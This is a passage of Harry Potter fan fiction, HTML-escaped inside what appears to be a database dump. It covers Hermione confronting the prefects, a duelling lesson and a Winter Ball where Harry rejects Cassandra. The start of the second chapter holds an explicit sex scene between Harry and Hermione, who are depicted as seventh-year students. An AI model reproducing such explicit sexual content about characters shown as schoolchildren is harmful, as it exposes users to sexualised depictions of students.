expectantly, and Hermione glared back at them slightly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;First off, I would like to say that I&#8217;m not hear tonight as the Head Girl so nothing you say will cost you any points; I&#8217;m here as Harry Potter&#8217;s fianc&#233;!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>You could several of the girls groan at her last two words.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&nbsp; Are you here to gloat?&#8221; one of the Slytherins snickered.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, I&#8217;m here to ask you all to tell your fellow housemates to stop following Harry wherever he goes.&nbsp; He&#8217;s had enough trouble over the last several years, and he just wants some peace and quiet.&nbsp; I&#8217;m sure by now you&#8217;ve all read the article in the Daily Prophet so I&#8217;m not going to repeat what I said.&nbsp; Just know that Harry Potter is &#8216;off limits&#8217;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We can&#8217;t control what other people do,&#8221; one of the Ravenclaw&#8217;s stated.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m not asking you to; I&#8217;m merely stating that there is no way Harry will say &#8216;yes&#8217; to them so they should just let him go.&nbsp; He&#8217;s put up with his &#8216;groupies&#8217; for the last seven years, and it&#8217;s going to stop.&nbsp; Harry&#8217;s too much of a gentleman to speak harshly to the girls following him, but I&#8217;m under no such obligation.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione&#8217;s smile turned into a confident smirk.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I will not allow anyone to make Harry unhappy.&nbsp; If someone has a problem with me being his fianc&#233;, they can take it up with me!&nbsp; But, as of now, I want the stalking routine to end!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We understand what you&#8217;re asking of us, Hermione, but we can only ask&#8230;we can&#8217;t demand!&#8221; one of the Hufflepuffs explained.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I merely want you to inform your fellow classmates &#8211; that&#8217;s all.&nbsp; After that, if they don&#8217;t stop, they&#8217;re gonna have to deal with me.&nbsp; And trust me&#8230;I will make their lives a living hell!&#8221; she growled, and her eyes narrowed dangerously.</p>\n\n<p>&nbsp;</p>\n\n<p>You could hear all the prefects gulp at the fiery gaze she shot across the room.&nbsp; Lavender was leaning against the wall and trying not to laugh as Hermione&#8217;s deadly gaze burned each of the girls&#8217; heads.&nbsp; Oh yeah, she was claiming her man all right and pissing off a lot of girls in the process.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you all for coming, that&#8217;s all I had to say.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The prefects mumbled amongst themselves but exited the room without any commotion.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bloody hell, you looked ready to beat their heads open, girl,&#8221; Lavender snickered as she and Hermione headed back to the Gryffindor Common Room.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;She&#8217;s right, you looked readily pissed,&#8221; Ginny added with a wide grin.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, I&#8217;m not about to let Harry be stalked everyday by a bunch of girls who can&#8217;t take &#8216;no&#8217; for an answer.&nbsp; He&#8217;s mine, and I&#8217;ll be damned before I let some hussy treat him like a prized trophy,&#8221; the brunette said firmly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bravo!&#8221; her two friends chimed together.&nbsp; The three of them started laughing and didn&#8217;t stop until they were back in their common room.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The word of Hermione&#8217;s statement flew around the school, and Harry was never followed again &#8211; at least, none that he mentioned.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Halloween arrived, and the entire school was littered with festive trinkets.&nbsp; Pumpkins hung the Great Hall, and the house ghosts were busy decorated the hallways with cobwebs.</p>\n\n<p>&nbsp;</p>\n\n<p>The Gryffindors and Slytherins were in their last class for the week &#8211; Defense Against the Dark Arts.&nbsp; Today, Sirius and Lupin were teaching together and decided to test their students.&nbsp; They were outside in the courtyard and had a very interesting idea.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right, class, it&#8217;s time to see if any of you have been paying attention this term.&nbsp; I would like a pair from each house to come up here; we are going to have a little duel,&#8221; Sirius stated.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron immediately nudged Harry, and Lavender nudged Hermione.&nbsp; They took looked at one another and rolled their eyes.&nbsp; They raised their hands and were called forward.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Very well, we have our Gryffindor team&#8230;now&#8230;our Slytherin Team&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m in,&#8221; Malfoy sneered and walked up in front of his classmates.&nbsp; However, none of the female Slytherins wanted to volunteer.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Come now, we need a girl for Draco&#8217;s partner,&#8221; Lupin stated.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;ll do it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>All eyes turned on the speaker of those words &#8211; none other than Cassandra Cross.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Cassandra, you can&#8217;t be serious,&#8221; Ron groaned.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why would you want to be his partner?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m merely participating in a class activity.&nbsp; It doesn&#8217;t matter who the other person is.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;Traitor&#8217; several of the Gryffindors mumbled as Cassandra stepped forward.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If Mr. Malfoy does not object, then I will allow it,&#8221; Lupin said firmly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah&#8230;whatever,&#8221; the blonde groaned, and he stared blankly at Cassandra.&nbsp; She just smiled sweetly at him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now, listen closely, each pair may use whatever magic they choose, however, I must insist that you disarm your opponents only.&nbsp; We don&#8217;t want any serious injuries.&nbsp; Also, I must ask that Harry not disapparate during this duel; that would be an unfair advantage.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I understand, that&#8217;s fine,&#8221; the young wizard answered.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Good, I will leave it up to you who you choose as your opponent, but remember, disarm them only!&#8221; Sirius ordered.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So Potter, it looks like you and me,&#8221; Malfoy snickered.&nbsp; Harry cracked a half-grin.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Herm, how about it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sounds to me &#8211; just don&#8217;t hurt him too much,&#8221; she laughed.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The quartet faced off with one another.&nbsp; Harry and Malfoy at one end, and Hermione and Cassandra at the other.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Good luck to you, Hermione,&#8221; Cassandra stated.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And to you as well,&#8221; she replied.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right, begin!&#8221; the two instructors shouted.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Malfoy immediately cast an exploding spell on Harry&#8217;s position, but he merely rolled out of the way.&nbsp; Next, he came after Harry with intermittent fireballs every few seconds.&nbsp; He floated up into the air to avoid the attack and readied his wand.&nbsp; Returning to the ground, he took aim.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Rignus Sempra!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Malfoy was thrown head over heels and landed hard on his back.&nbsp; He quickly recovered and made a grab for his wand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Expelliarmus!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A stinging pain shot through his hand, and he groaned in pain.&nbsp; Harry went for the finish.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Immobulus!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Malfoy was frozen in place.&nbsp; He was half sitting half making a grab for his wand again.&nbsp; That ended his duel with Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The girls&#8217; duel started a bit slower.&nbsp; The two faced off and stared at each other calmly.&nbsp; Cassandra broke the silence.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Terranos!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>It looked like a wave of solid earth was rolling directly towards Hermione.&nbsp; She braced herself and readied her wand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tornados!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She blasted a hurling tunnel of wind straight at the wave of earth.&nbsp; The two elements met head on an exploded into pieces.&nbsp; Cassandra wasted no time in following up her first attack.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione barely had time to levitate before the ground beneath her exploded.&nbsp; Floating up out of the smoke, she looked around for her opponent.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Over here!&#8221; a voice called behind her.</p>\n\n<p>&nbsp;</p>\n\n<p>As Hermione turned her head, she was slammed in the back with a fierce wind spell.&nbsp; She was thrown down onto the ground and barely managed to soften her fall.&nbsp; She was going to have to do much better if she wanted to beat Cassandra, however, the blonde didn&#8217;t give her the chance.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Expelliarmus!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione gasped and dropped her wand as pain seared her hand.&nbsp; Cassandra smiled in triumph.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Concede Hermione, you can&#8217;t defend yourself anymore.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I will not!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry came running up and stopped as he saw that Hermione&#8217;s wand had been forced out of her hand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Perhaps you&#8217;d like your boyfriend to help,&#8221; Cassandra laughed almost sadistically.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione gritted her teeth; she wasn&#8217;t finished yet.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;This is my fight!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Very well, but I will not enjoy this.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione, be careful!&#8221; Harry called, but he knew that she wanted to do this by herself.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Incendio!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A fireball launched directly towards Hermione, and she concentrated.&nbsp; Harry had trained her for an instant like this.&nbsp; She extended her left hand in front of her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Barias Erecte!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>When the fireball reached her, it stopped in midair as Hermione created a barrier with her hands.&nbsp; Now, on to the next part of her plan.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Accio Wand!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Her wand came at her summons, and she grasped it with her right hand.&nbsp; She dove off to the right and avoided the incoming fireball.&nbsp; Her tactics caught Cassandra off guard.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Petrificas Totales!&#8221; Hermione cast.</p>\n\n<p>&nbsp;</p>\n\n<p>Her opponent was frozen and hit the ground with a thud; she&#8217;d won.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione brushed her hair back across her shoulders and sighed happily.&nbsp; She&#8217;d actually won a duel.&nbsp; Harry ran to her side and helped her to her feet; he&#8217;d never had bigger smile on her face.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You did great!&#8221; he said softly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thanks to you,&#8221; she replied and squeezed his hand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Nicely done you two,&#8221; Sirius stated.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Indeed, it&#8217;s not easy to cast magic without a wand; well done, Miss Granger,&#8221; Lupin added.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you, professor, I&#8217;ve been practicing that lately.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Her fellow Gryffindors raced over to congratulate her on a job well done.&nbsp; Malfoy was released from Harry&#8217;s spell, and he growled angrily.&nbsp; Cassandra sat up after Hermione&#8217;s spell had worn off, and she chewed her lip.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;Hmm, I underestimated her abilities; I will not make the same mistake again.&#8217; Her blue eyes took in the happy couple celebrating with their friends.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;Soon, I will have Harry as my own, and I will put that pathetic girl out of her misery!&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Author&#8217;s Notes:&nbsp; All right, finally got a new chapter up.&nbsp; I&#8217;m gonna warn everybody; I&#8217;m going back to work full-time so it may be quite a while between updates, but I promise to go as fast as possible.&nbsp; And just so you know, the action is coming, and I promise you won&#8217;t be disappointed.</p>\n\n '),
	(244, 10, '\n\n\n\n<meta name="Generator" content="Microsoft Office HTML Filter 2.0">\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Originator" content="Microsoft Word 9">\n\n<title>Christmas once again surrounded Hogwarts, and snow spread across the castle grounds</title>\n\n<style>\n\n</style>\n\n\n\n<p>Christmas once again surrounded Hogwarts, and snow spread across the castle grounds.&nbsp; Hagrid had dragged in his customary, monstrous Christmas tree, and Professor Flitwick was levitating the ornaments up onto the branches.&nbsp; It was the week before break, and the students were finishing up their final exams before heading home for the holidays.&nbsp; For the senior students, their minds were all preoccupied with the Winter Ball, which was that very evening.</p>\n\n<p>Harry dropped his books onto his dresser and undid his tie.&nbsp; He let out a very noticeable yawn and sat down on his bed.&nbsp; Running a hand through his messy hair, he pulled off his class robes and dove through his things looking for something to wear that night.&nbsp; Choosing a pair of khakis and a green sweater, he threw them onto his bed along with his dress robes.&nbsp; </p>\n\n<p>He still had a couple of hours to spare, and he desperately wanted a hot shower.&nbsp; He headed towards his bathroom, dropping his clothes along the way.</p>\n\n<p>Upon opening the door, Harry found a very appetizing sight.&nbsp; Hermione was at their sink, apparently washing her face.&nbsp; Her hair was pinned back, and a towel was wrapped around her body.&nbsp; As she bent over for another handful of water, the towel rode just little too much for Harry&#8217;s blood pressure to take.&nbsp; He couldn&#8217;t help himself, his desire for her ignited instantly.</p>\n\n<p>Hermione tossed her head back and wiped her face off.&nbsp; That had felt really good, but her eyes widened when she saw Harry behind her.&nbsp; Where had he appeared from, and why was he looking at her like his favorite dessert? (Which she actually was.)</p>\n\n<p>&#8220;Hermione&#8230;&#8221; his voice was low and seductive, and his arms wrapped around her waist.</p>\n\n<p>Harry buried his face in her waterfall of brown curls and nuzzled her neck.</p>\n\n<p>&#8220;Harry?&#8221; she gasped as he nibbled her ear.&nbsp; She let out a soft moan as his hands cupped her breasts.</p>\n\n<p>&#8220;What brought this on?&#8221;</p>\n\n<p>&#8220;Well&#8230;I was going to take a shower, but then&#8230;I saw you in here looking all beautiful and sexy, and I just couldn&#8217;t resist.&#8221;</p>\n\n<p>Hermione grinned wryly and pressed her hips into his groin; she felt a warm hardness against her rear.&nbsp; Harry spun her around and pinned her against the counter.</p>\n\n<p>&#8220;I need you, Hermione.&#8221; He didn&#8217;t let her respond; he just kissed the bloody hell out of her.&nbsp; His lips swarmed over hers, and Hermione wrapped her arms around his shoulders.</p>\n\n<p>Harry wanted to feel her skin against his, but the damn towel was in the way.&nbsp; A quick flick of his wrist, and off it went.&nbsp; He caressed the soft skin of her hips, following the curves of her supple form.&nbsp; His eager hands slid upward and cupped the soft weights of her breasts.</p>\n\n<p>Hermione arched into his touch and moaned as he toyed with her sensitive nipples.&nbsp; Placing one last kiss on her lips, Harry began a journey down her body.&nbsp; He kissed a wet path down her neck and across her collarbone.&nbsp; Hermione inhaled sharply as he ventured lower, and Harry grinned as he saw her breasts already swollen with desire.&nbsp; Kneeling before her, he gently brushed his face against the soft swells.&nbsp; Hermione moaned impatiently and tangled her fingers in his hair.</p>\n\n<p>&#8220;Harry&#8230;please&#8230;I&#8230;I need your mouth&#8230;on my&#8230;&#8221;</p>\n\n<p>She didn&#8217;t need to finish her sentence as he mouth closed over her right breast.&nbsp; He drew the hardened nipple between his lips and drank in the lusciousness of her body.&nbsp; Harry eagerly feasted on her succulent offerings, but he had another target in mind right now.</p>\n\n<p>&#8220;Sweetheart&#8230;&#8221; he whispered and slid even lower down her body, &#8220;&#8230;I wanna drink in all of your goodness.&#8221;</p>\n\n<p>Hermione felt like a lump of jelly as Harry lifted her up onto the counter and slid between her thighs.&nbsp; His hands spread her legs, and she shuttered with anticipation as his face crept closer and closer until&#8230;</p>\n\n<p>&#8220;Harry!&#8221; she gasped as his magical lips reached her core.</p>\n\n<p>&#8220;Yes Hermione, scream for me&#8230;scream as loud as you want!&#8221;</p>\n\n<p>Harry lapped at her soft folds sending his fianc&#233; into heaven in a matter of minutes.&nbsp; He teased and stroked the hard center of her passion, and he heard her squeak as he kissed the tiny knot.&nbsp; Her hips rocked in time with his questing tongue, and Hermione was soon chanting his name endlessly.&nbsp; Her nails clawed at the counter trying desperately to hold onto something for support, but she couldn&#8217;t focus as her lover ravaged her senses.&nbsp; He explored every inch of her womanhood almost as if he was claiming what belonged to him and only him.</p>\n\n<p>&#8220;Harry&#8230;don&#8217;t&#8230;don&#8217;t stop&#8230;please&#8230;so good&#8230;&#8221;</p>\n\n<p>He chuckled at her pleading tone and doubled his efforts to drive her mad with desire.&nbsp; Waiting until she was right at the brink of ecstasy, he pulled away, and she screamed in aggravation at being left so close.&nbsp; His fingers teased her swollen folds, but he never replaced his mouth.</p>\n\n<p>&#8220;Hermione&#8230;&#8221;</p>\n\n<p>Harry rose to his feet; his shorts long since tossed away.&nbsp; She was trembling with unrestrained passion, and his fingers continued to hold her on the edge of oblivion.&nbsp; He nuzzled her neck, and she wrapped her arms around him.</p>\n\n<p>&#8220;Do you want it, Hermione?&nbsp; Do you yearn for me?&#8221; he whispered huskily.</p>\n\n<p>&#8220;Bloody hell&#8230;yes&#8230;yes&#8230;I need you, Harry; I need you now!&#8221;</p>\n\n<p>&#8220;Where do you want me?&#8221; he replied and nibbled her earlobe.</p>\n\n<p>Her eyes were closed tightly, and she was shaking with need.&nbsp; Harry was ready for her words; she just had to say them.</p>\n\n<p>&#8220;Where do you want me?&#8221; he repeated.</p>\n\n<p>&#8220;Harry&#8230;I&#8230;I want you&#8230;inside me&#8230;please&#8230;inside me now&#8230;&#8221;</p>\n\n<p>&#8220;As you wish!&#8221; and he buried himself into her hot depths.</p>\n\n<p>Hermione shrieked as her body exploded into a thousand pieces.&nbsp; She would&#8217;ve collapsed, but Harry&#8217;s strong arms held her against his body.&nbsp; She hung limply in his embrace, and he smiled at her passionate response to him.</p>\n\n<p>&#8220;Are you all right, love?&#8221; he whispered and kissed her hair.</p>\n\n<p>&#8220;Yes&#8230;I think so,&#8221; she managed to croak out.</p>\n\n<p>Harry grasped her hips and began moving inside her.&nbsp; He began slowly, letting Hermione regain her strength after her powerful climax.</p>\n\n<p>After a few minutes, he could feel her body beginning to react once again as her hips began to meet him thrust for thrust.&nbsp; Her long legs wrapped around his waist, and her eyes opened to meet his.</p>\n\n<p>&#8220;Hello, my insatiable one,&#8221; Harry chuckled.</p>\n\n<p>&#8220;Hello, my wizard of erotic pleasure,&#8221; she replied with a wide grin.</p>\n\n<p>He smiled coyly and captured her mouth with his.&nbsp; A hard countertop wasn&#8217;t the best place for Hermione to be sitting, but right now, she didn&#8217;t care as long as Harry was inside her.&nbsp; His hands cupped her sensitive breasts, and Hermione clung to him desperately as he drove her towards that precipice once more.</p>\n\n<p>The two lovers climaxed as one, shouting each other&#8217;s names as Harry filled her was his warmth just as her heat drenched his straining manhood.</p>\n\n<p>The sweaty couple was smiling broadly at one another and kissed briefly.&nbsp; They were becoming addicted to each other.</p>\n\n<p>&#8220;Harry, after this, we&#8217;re going to need a shower before the ball tonight.&#8221;</p>\n\n<p>&#8220;Good, I wanted one anyway, and now, I&#8217;ll really enjoy it cause I&#8217;ll be sharing it with you,&#8221; he cooed softly.</p>\n\n<p>&#8220;And who said we&#8217;d be sharing?&#8221; she challenged.</p>\n\n<p>Harry&#8217;s arms wrapped around her and picked her up.&nbsp; Hermione gasped sharply as their bodies were still connected.</p>\n\n<p>&#8220;I say we&#8217;re sharing; I&#8217;m not done with you yet, sweetheart.&#8221;</p>\n\n<p>&#8220;Just remember, love, we can&#8217;t be late tonight,&#8221; she warned.</p>\n\n<p>&#8220;Not a problem, now&#8230;&#8221;</p>\n\n<p>He carried her over to the shower stall and inside.&nbsp; Closing the curtain behind them, Hermione giggled at the goofy grin on his face.</p>\n\n<p>&#8220;How do you want it, Hermione&#8230;hot, cold, or lukewarm?&#8221;</p>\n\n<p>Trailing her fingers along his face, she stared directly into his emerald depths.&nbsp; Purring softly, she squeezed her inner muscles around him.</p>\n\n<p>&#8220;Mmm&#8230;I want it&#8230;very&#8230;very hot!&#8221;</p>\n\n<p>Harry groaned in response, and Hermione felt him grow harder and longer inside her.</p>\n\n<p>&#8220;Then you shall have it!&#8221;</p>\n\n<p>Hermione could never recall ever having a hotter shower than that one.</p>\n\n<p>Amazingly, the pair actually showed up early for the Winter Ball.&nbsp; Harry entered the Great Hall with Hermione on his arm.&nbsp; He had to admit it; she was dressed to kill.&nbsp; She was wearing a sexy, emerald-green dress that only reached mid-thigh.&nbsp; It clung beautifully to her matured body and made him tug on his collar to try and cool himself off.&nbsp; The dress was cut very low in the back and left most of her lean spine bare.&nbsp; Harry&#8217;s arm slid up around her shoulders, warming any chills that Hermione may have had.</p>\n\n<p>Not long after, the students began filing into the great hall, and the music began playing.&nbsp; Harry chuckled as he watched Ron spin Lavender around him as they danced to a rock and roll number.&nbsp; He wasn&#8217;t very good at fast dances, and Hermione cut him some slack.&nbsp; However, soon the music changed to a slower more romantic tone, and the young wizard knew that he could handle this.&nbsp; He was just about to ask Hermione to dance when&#8230;</p>\n\n<p>&#8220;Hello Harry,&#8221; Cassandra said with a bright smile.&nbsp; She was wearing a slinky, blood red dress that drew full attention to her well-developed body.</p>\n\n<p>&#8220;Hello Cassandra, are you enjoying your first ball here at Hogwarts?&#8221; he replied, trying to sound interested.</p>\n\n<p>&#8220;Yes, it&#8217;s been very nice.&nbsp; I was wondering if&#8230;well&#8230;if your fianc&#233; wouldn&#8217;t mind&#8230;&#8221;</p>\n\n<p>&#8216;Is it just me, or did you just spit that word out?&#8217; Harry thought silently.</p>\n\n<p>&#8220;&#8230;Hermione&#8230;could I steal him for a dance?&#8221;</p>\n\n<p>The Head Girl regarded the blonde suspiciously, but she kept her opinions silent.</p>\n\n<p>&#8220;Of course, Harry doesn&#8217;t have to stay with me all night.&#8221;</p>\n\n<p>&#8220;Thank you.&nbsp; What do you say, Harry?&nbsp; Do you mind dancing with the newbie?&#8221; she giggled.&nbsp; He suddenly felt his stomach turn.</p>\n\n<p>&#8220;I&#8217;d be glad to.&#8221;</p>\n\n<p>Against his better judgment, Harry let Cassandra guide onto the floor.&nbsp; The song was just beginning, and he took her hands in a loose hold.&nbsp; They followed the flow of students as they circled the floor, and everything seemed fine.</p>\n\n<p>Suddenly, Cassandra moved in and wrapped her arms around Harry&#8217;s neck.&nbsp; He gulped silently and was forced to grasp her hips.&nbsp; He remained calm, as what she was doing wasn&#8217;t irregular or wrong.&nbsp; Still, he couldn&#8217;t help but feel very nervous in his current position.</p>\n\n<p>As the music flowed into another slow song, Harry suddenly felt Cassandra hug him tightly.&nbsp; Her body pressed tightly against his, and sweat immediately formed on his forehead.&nbsp; However, he kept his mouth shut and continued the dance.</p>\n\n<p>Cassandra continued her playful little game with him.&nbsp; A few minutes later, she gave him a real shock when she grinded her hips into his.&nbsp; This time, she heard him gulp and did it again just to spite him.&nbsp; Looking up at him, her blue eyes held a sensuous and almost sinister sparkle in them.</p>\n\n<p>Off to the side, Hermione was watching their movements like a hawk.&nbsp; Ron and Lavender had joined her, and they observed the dancing couple.&nbsp; Hermione had gotten edgy when Cassandra moved closer to Harry, and she nearly bit her tongue when she saw the blonde start grinding Harry&#8217;s hips.</p>\n\n<p>There were also several males watching Cassandra almost give Harry a vertical lap dance and were jealous because they wanted it to happen to them.</p>\n\n<p>Harry was not happy at the treatment he was receiving from his partner.&nbsp; He felt very nervous and could feel almost everyone&#8217;s eyes watching him.&nbsp; With the exception of his feet, he remained completely stoic, while Cassandra wiggled her hips against him.</p>\n\n<p>&#8220;Cassandra, stop this at once,&#8221; he said firmly.</p>\n\n<p>&#8220;Stop what, I&#8217;m not doing anything,&#8221; she replied seductively. &nbsp;She wiggled her eyebrows suggestively, and Harry immediately stopped.</p>\n\n<p>Grabbing her hand in an iron vice, he veritably dragged her out of the Great Hall.&nbsp; Hermione, Ron, and Lavender followed after them not a minute later.</p>\n\n<p>Harry pulled Cassandra downed the corridor and around the corner.&nbsp; He released her hand and stared at her coldly.</p>\n\n<p>&#8220;Cassandra, that was not funny!&#8221;</p>\n\n<p>&#8220;What?&nbsp; All I was doing was dancing with you.&#8221;</p>\n\n<p>&#8220;That wasn&#8217;t dancing; that was seducing!&#8221;</p>\n\n<p>Her eyes widened for a moment but then narrowed once again.</p>\n\n<p>&#8220;Would you like it that way?&#8221;</p>\n\n<p>&#8220;What?&#8221; Harry gasped and backed away.&nbsp; She stalked after him.</p>\n\n<p>Hermione, Ron, and Lavender had caught up with them, and Hermione was ready to hex Cassandra into next week.&nbsp; Her two friends held her back and advised her to let Harry diffuse the situation himself.</p>\n\n<p>&#8220;Would you like me to seduce you?&#8221; Cassandra cooed softly.</p>\n\n<p>&#8220;I do find you very attractive, Harry.&nbsp; In fact, I&#8217;m in love with you.&#8221;</p>\n\n<p>&#8220;What did you just say?&#8221;</p>\n\n<p>&#8220;I love you.&nbsp; I&#8217;ve loved you for years.&nbsp; I used to read all the articles that were printed about you; I even have the one about when you defeated Lord Voldemort last year.&nbsp; When I met you for the first time, I knew that I loved you.&#8221;</p>\n\n<p>She stepped closer to Harry and put her hands on his chest.</p>\n\n<p>&#8220;Cassandra, I&#8217;m flattered, but I&#8217;m already engaged to be married.&#8221;</p>\n\n<p>Her eyes immediately darkened.</p>\n\n<p>&#8220;Oh, you mean that frizzy-haired, ugly bookworm that hangs on you all the time!&#8221; she spat out.</p>\n\n<p>When Hermione heard those words, she was ready to spit nails, but Lavender held her back &#8211; just barely.</p>\n\n<p>Harry got right in Cassandra&#8217;s face and glared coldly at her.</p>\n\n<p>&#8220;Don&#8217;t you ever call Hermione that again!&nbsp; She&#8217;s the most beautiful girl that I&#8217;ve ever met, and she has a great heart to go along with it.&nbsp; There isn&#8217;t anyone that I&#8217;d rather be with; she&#8217;s the only woman that I want.&#8221;</p>\n\n<p>&#8220;Please&#8230;Harry, wouldn&#8217;t you much rather have me?&#8221; she purred and pressed her body up against him.</p>\n\n<p>Harry could feel the softness of her body, but he felt absolutely nothing &#8211; not even a spark.&nbsp; He knew who his heart belonged to.&nbsp; Putting his hands on her shoulders, he forcibly pushed Cassandra away from him.</p>\n\n<p>&#8220;Cassandra, I will say this only once.&nbsp; I love Hermione with all my heart, and nothing will ever change that &#8211; including you.&nbsp; I suggest you let go of this obsession you seem to have with me and move on with your life.&#8221;</p>\n\n<p>&#8220;Why you selfish bastard?&nbsp; Do you know how many men would kill to be with me?&#8221;</p>\n\n<p>&#8220;Then go pick one of them because I will never be one of your &#8216;men&#8217;.&nbsp; You can use as many tricks as you like, but you won&#8217;t change how I feel about Hermione.&#8221;</p>\n\n<p>&#8220;Oh really&#8230;&#8221; her eyes turned to an evil hue, &#8220;&#8230;and what if something happened to your dear Hermione?&#8221;</p>\n\n<p>Rage erupted in Harry&#8217;s eyes, and his power roared to the surface.&nbsp; Cassandra actually stepped back in fear as he glared daggers directly into her head.</p>\n\n<p>&#8220;Listen to me, you self-serving bitch, don&#8217;t you ever play that card again.&nbsp; If you even think about touching Hermione, you&#8217;ll meet the same fate as the last person who tried to hurt her,&#8221; he roared.</p>\n\n<p>Harry stormed away, but Cassandra just laughed.</p>\n\n<p>&#8220;Is that a fact, Harry?&nbsp; So tell me&#8230;who was the last person that tried to hurt Hermione?&#8221; she snorted.</p>\n\n<p>The young wizard stopped walking and turned his head towards her.&nbsp; A confident smirk crossed his face, and he raised his right hand.</p>\n\n<p>&#8220;Voldemort&#8230;&#8221; and a fireball ignited in his bare hand.</p>\n\n<p>Cassandra&#8217;s eyes shot open in fear, and Harry smiled cruelly at her.</p>\n\n<p>&#8220;Don&#8217;t make the same mistake, Cassandra, stay away from Hermione and stay out of my life!&#8221; he hissed.</p>\n\n<p>Harry closed his hand and proceeded back down the corridor, leaving Cassandra to stew in her own fear and failure.</p>\n\n<p>Hermione stood in the shadows as Harry headed back for the Great Hall.&nbsp; She heard his every word, and her heart swelled at the fact that he chose her so quickly over 